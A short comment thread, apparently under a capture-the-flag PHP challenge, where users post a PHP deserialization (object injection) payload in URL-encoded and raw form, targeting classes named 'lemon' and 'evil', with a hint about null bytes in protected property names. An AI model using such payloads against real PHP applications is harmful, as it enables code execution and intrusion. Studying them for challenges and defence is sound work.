vchopin @ 2023-12-07 23:22:30 👍0
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
chaoge @ 2023-12-07 23:22:30 👍0
注意%00
hopeinhand @ 2023-09-07 23:22:30 👍0
简单的反序列化，重构 __constract()指向evil
?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";N;}}